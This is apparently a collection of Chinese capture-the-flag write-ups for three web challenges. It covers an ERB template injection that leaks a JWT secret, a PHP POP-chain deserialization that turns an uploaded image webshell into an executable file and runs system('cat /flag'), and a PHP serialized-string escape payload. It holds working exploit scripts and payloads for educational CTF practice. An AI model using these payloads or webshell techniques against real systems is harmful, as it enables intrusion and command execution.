[SCTF2019]Flag Shop
robots.txt 提示 /filebak
访问 /filebak 获得源码
require 'sinatra'
require 'sinatra/cookies'
require 'sinatra/json'
require 'jwt'
require 'securerandom'
require 'erb'
set :public_folder, File.dirname(__FILE__) + '/static'
FLAGPRICE = 1000000000000000000000000000
ENV["SECRET"] = SecureRandom.hex(64)
configure do
enable :logging
file = File.new(File.dirname(__FILE__) + '/../log/http.log',"a+")
file.sync = true
use Rack::CommonLogger, file
end
get "/" do
redirect '/shop', 302
end
get "/filebak" do
content_type :text
erb IO.binread __FILE__
end
get "/api/auth" do
payload = { uid: SecureRandom.uuid , jkl: 20}
auth = JWT.encode payload,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
end
get "/api/info" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
json({uid: auth[0]["uid"],jkl: auth[0]["jkl"]})
end
get "/shop" do
erb :shop
end
get "/work" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
auth = auth[0]
unless params[:SECRET].nil?
if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
puts ENV["FLAG"]
end
end
if params[:do] == "#{params[:name][0,7]} is working" then
auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result
end
end
post "/shop" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
if auth[0]["jkl"] < FLAGPRICE then
json({title: "error",message: "no enough jkl"})
else
auth << {flag: ENV["FLAG"]}
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
json({title: "success",message: "jkl is good thing"})
end
end
def islogin
if cookies[:auth].nil? then
redirect to('/shop')
end
end
看到 POST 的 /shop 路由,只要 auth[0]["jkl"] < FLAGPRICE
条件不成立则会把 flag 写入到 auth 中,然后把 auth 用 JWT 进行加密并放到 Cookie 中
post "/shop" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
if auth[0]["jkl"] < FLAGPRICE then
json({title: "error",message: "no enough jkl"})
else
auth << {flag: ENV["FLAG"]}
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
json({title: "success",message: "jkl is good thing"})
end
end
捉个包然后复制 Cookie[auth] 到 https://jwt.io/ 解密一下,可以看到金钱就写在里面是20,而 FLAGPRICE 是 12e+27 , 伪造金钱需要拿到密钥。
通过 get 的 /work 路由 ,需要满足 params[:do] == "#{params[:name][0,7]} is working"
条件,满足了之后密钥会写在 alert 标签中。
get "/work" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
auth = auth[0]
unless params[:SECRET].nil?
if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
puts ENV["FLAG"]
end
end
if params[:do] == "#{params[:name][0,7]} is working" then
auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result
end
end
这样构造
/work?name=%3c%25%3d%24%27%25%3e&do=%3c%25%3d%24%27%25%3e%20is%20working
获得key
修改金钱并放入key
把加密出来的值放到 POST 的 /shop 中的 Cookie[auth] 中
最后把返回包中的 Cookie[auth] 拿去解密即可得到 flag
[强网杯 2019]Upload
- POP 链构造
- 文件上传
注册一个账户然后登录,有一个上传头像的功能,随便上传一个,然后捉包可以看到 Cookie[user] 是 Base64 编码的,解密一下,发现是序列化字符串
备份文件泄露 /www.tar.gz
看到控制器 tp5\application\web\controller
目录,有四个控制器
看到 index.php 文件的 login_check 函数,先把 Cookie[user] 用 Base64 解码然后再进行反序列化操作,这时反序列化入口点,接下来就是寻找 POP 链
public function login_check(){
$profile=cookie('user');
if(!empty($profile)){
$this->profile=unserialize(base64_decode($profile));
$this->profile_db=db('user')->where("ID",intval($this->profile['ID']))->find();
if(array_diff($this->profile_db,$this->profile)==null){
return 1;
}else{
return 0;
}
}
}
POP链如下,也比较简单 Register#__destruct->Profile#__get->Profile#__call->Profile#upload_img
先上传一个图片马,然后获得其路径,最后放到如下构造的 $filename_tmp
变量中
<?php
namespace app\web\controller;
class Register{
public $checker;
public $registed =0;
}
class Profile{
public $checker =0 ;
public $filename_tmp="./upload/cc551ab005b2e60fbdc88de809b2c4b1/4a47a0db6e60853dedfcfdf08a5ca249.png";
public $upload_menu;
public $filename="upload/penson.php";
public $ext=1;
public $img;
public $except=array("index"=>"upload_img");
$a = new Register();
$a->checker = new Profile();
$a->checker->checker=0;
echo base64_encode(serialize($a));
把获得的序列化数据放到 Cookie[user] 中,访问 /index.php/home.html
即可把图片马转换为 upload/penson.php
最后访问即可
/upload/penson.php
1=system('cat /flag');
[GYCTF2020]Easyphp
- 反序列化字符串逃逸
- POP 链构造
www.zip 源码泄露
下载下来看到 update.php 文件
<?php
require_once('lib.php');
echo '<html>
<meta charset="utf-8">
<title>update</title>
<h2>这是一个未完成的页面,上线时建议删除本页面</h2>
</html>';
if ($_SESSION['login']!=1){
echo "你还没有登陆呢!";
}
$users=new User();
$users->update();
if($_SESSION['login']===1){
require_once("flag.php");
echo $flag;
}
?>
只要让 $_SESSION['login']===1
即可输出 flag ,可以通过反序列化让这个条件成立。
反序列化触发点
lib.php 中的 update 方法
public function update(){
$Info=unserialize($this->getNewinfo());
$age=$Info->age;
$nickname=$Info->nickname;
$updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
//这个功能还没有写完 先占坑
}
public function getNewInfo(){
$age=$_POST['age'];
$nickname=$_POST['nickname'];
return safe(serialize(new Info($age,$nickname)));
}
但是这个反序列化是把我们可以控制的 $_POST['age']
和 $_POST['nickname']
当作字符串类型的属性来反序列化的,这时候可以通过字符串逃逸让它把我们控制的 $_POST['age']
和 $_POST['nickname']
当作对象来反序列化。
看下 safe 函数
function safe($parm){
$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
return str_replace($array,'hacker',$parm);
}
有进行替换,可以进行逃逸。
反序列化链 User#update->UpdateHelper#__destruct->User#__toString->Info#__call->dbCtrl#login
,反序列化后让 $_SESSION['token']
为 admin
构造
<?php
class Info{
public $age;
public $nickname;
public $CtrlCase;
public function __construct()
{
$this->age = "1";
$this->nickname = "2";
$this->CtrlCase=new dbCtrl();
}
}
class User
{
public $id="1";
public $age;
public $nickname;
public function __construct()
{
$this->age='select "1","c4ca4238a0b923820dcc509a6f75849b" from user where username=?';
$this->nickname=new Info();
}
}
Class UpdateHelper{
public $sql;
}
class dbCtrl
{
public $hostname="127.0.0.1";
public $dbuser="root";
public $dbpass="root";
public $database="test";
public $name="admin";
public $password="1";
public $mysqli;
public $token;
public $b;
public function __construct()
{
$this->b=new UpdateHelper();
}
}
$a=new Info();
$a->CtrlCase->b->sql=new User();
echo serialize($a);
构造后进行逃逸
age=age=''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''unionunionunionload1";s:8:"nickname";s:1:"2";s:8:"CtrlCase";O:6:"dbCtrl":9:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";s:1:"1";s:6:"mysqli";N;s:5:"token";N;s:1:"b";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":3:{s:2:"id";s:1:"1";s:3:"age";s:72:"select "1","c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";s:1:"1";s:8:"nickname";s:1:"2";s:8:"CtrlCase";O:6:"dbCtrl":9:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";s:1:"1";s:6:"mysqli";N;s:5:"token";N;s:1:"b";O:12:"UpdateHelper":1:{s:3:"sql";N;}}}}}}}
放到 age 参数进行反序列化
/update.php
age=age=''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''unionunionunionload1";s:8:"nickname";s:1:"2";s:8:"CtrlCase";O:6:"dbCtrl":9:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";s:1:"1";s:6:"mysqli";N;s:5:"token";N;s:1:"b";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":3:{s:2:"id";s:1:"1";s:3:"age";s:72:"select "1","c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";s:1:"1";s:8:"nickname";s:1:"2";s:8:"CtrlCase";O:6:"dbCtrl":9:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";s:1:"1";s:6:"mysqli";N;s:5:"token";N;s:1:"b";O:12:"UpdateHelper":1:{s:3:"sql";N;}}}}}}}
然后再用 admin 登录一下即可获得 flag